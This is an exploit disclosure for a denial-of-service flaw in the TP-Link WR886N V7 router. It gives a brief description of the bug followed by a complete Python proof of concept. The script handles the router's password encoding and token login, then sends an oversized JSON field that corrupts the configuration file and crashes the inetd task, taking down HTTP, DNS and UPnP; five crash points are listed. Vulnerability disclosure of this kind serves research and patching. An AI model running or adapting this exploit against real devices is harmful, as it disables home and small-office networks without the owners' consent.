TP-Link WR886N V7 Inetd Task Dos
Vender:TP-Link
Firmware version: 1.1.0
Hardware version: TL-WR886N 7.0
Exploit Author: lbp@galaxylab.org
Vendor Homepage: http://www.tp-link.com.cn/
Hardware Link:http://www.tp-link.com.cn/product_397.html
Vul detail
In the router module protocol, user can setup wan parameters with http post request. An normal request looks like below.
After setup wan parameters parameters, protocol module will save data to config file.
If we send request with long value in specific json key, it will overflow and break the protocol module config file.
If the string long enough it will also crash the inetd task, this will stop most network services, such as http, dns and upnp.
POC
import requests
def security_encode(a):
c = "RDpbLfCPsJZ7fiv"
b = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW"
d = ''
e = f = g = h = k = 187
m = 187
f = len(a)
g = len(c)
h = len(b)
if f > g:
e = f
else:
e = g
for i in range(e):
m = k = 187
if i >= f:
m = ord(c[i])
elif i >= g:
k = ord(a[i])
else:
k = ord(a[i])
m = ord(c[i])
d += b[(k ^ m) % h]
return d
def get_token(password):
print(security_encode(password))
login_url = 'http://192.168.1.1/'
login_data = {"method": "do",
"login": {
"password": security_encode(password)
}
}
rsp = requests.post(login_url, json=login_data)
rsp_json = rsp.json()
if rsp_json['error_code'] == 0:
return rsp_json['stok']
# set password
elif rsp_json['error_code'] == -40401:
set_password = {
"method": "do",
"set_password": {
"password": security_encode(password)
}
}
rsp = requests.post(login_url, json=set_password)
rsp_json = rsp.json()
if rsp_json['error_code'] == 0:
# get token again
return get_token(password)
password = 'password'
burp0_url = "http://192.168.1.1/stok=%s/ds" % get_token(password)
burp0_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "Origin": "http://192.168.1.1", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36", "Content-Type": "application/json; charset=UTF-8", "Referer": "http://192.168.1.1/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.6,ko;q=0.5", "Connection": "close"}
burp0_json = {
"protocol": {
"wan": {
"wan_rate": "auto",
"macaddr": "20-6B-E7-66-9C-B0"
},
"dhcp": {
"dns_mode": "dynamic",
"pri_dns": "0.0.0.0",
"snd_dns": "0.0.0.0",
"mtu": "1500",
"hostname": "TL-WR886N"
}
},
"method": "set"
}
burp0_json['protocol']['wan']['wan_rate'] = "%s" % ('A' * int(1.0 * 1024 * 1204)) # crash point 1
# burp0_json['protocol']['wan']['macaddr'] = "20-6B-E7-66-9C-B0%s" % ('A' * int(1.0 * 1024 * 1204)) # crash point 2
# burp0_json['protocol']['dhcp']['dns_mode'] = "%s" % ('A' * int(1.0 * 1024 * 1204)) # crash point 3
# burp0_json['protocol']['dhcp']['mtu'] = "%s" % ('A' * int(1.0 * 1024 * 1204)) # crash point 4
# burp0_json['protocol']['dhcp']['hostname'] = "%s" % ('A' * int(1.0 * 1024 * 1204)) # crash point 5
rsp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, timeout=3)
print(rsp.content)


